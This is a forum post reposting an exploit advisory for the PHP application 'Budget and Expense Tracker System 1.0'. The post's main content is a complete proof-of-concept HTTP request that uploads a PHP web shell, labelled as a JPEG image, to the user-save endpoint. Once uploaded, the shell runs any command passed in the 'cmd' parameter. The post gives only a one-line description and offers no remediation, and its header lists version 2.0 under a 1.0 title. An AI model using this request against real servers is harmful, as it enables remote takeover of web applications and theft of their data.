Jump to content

Budget and Expense Tracker System 1.0 - Arbitrary File Upload

This CHT

Recommended Posts

  • Group:  The leader of the
  • Content Count:  4,798
  • Achievement Points:  31,702
  • With Us For:  243 Days
  • Status:  Offline
  • Last Seen:  
  • Device:  Windows

# Exploit Title: Budget and Expense Tracker System 1.0 - Arbitrary File Upload 
# Exploit Author: ()t/\/\1
# Date: 23/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Tested on: Linux
# Version: 2.0

# Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.

# PoC request 

POST /expense_budget/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/expense_budget/admin/?page=user
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1399170066243244238234165712
Content-Length: 824
Connection: close
Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c

Content-Disposition: form-data; name="id"

Content-Disposition: form-data; name="firstname"

Content-Disposition: form-data; name="lastname"

Content-Disposition: form-data; name="username"

Content-Disposition: form-data; name="password"

Content-Disposition: form-data; name="img"; filename="na3na3.php"
Content-Type: image/jpeg

<?php echo "<pre>";system($_GET['cmd']); ?>
Link to comment
Share on other sites

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...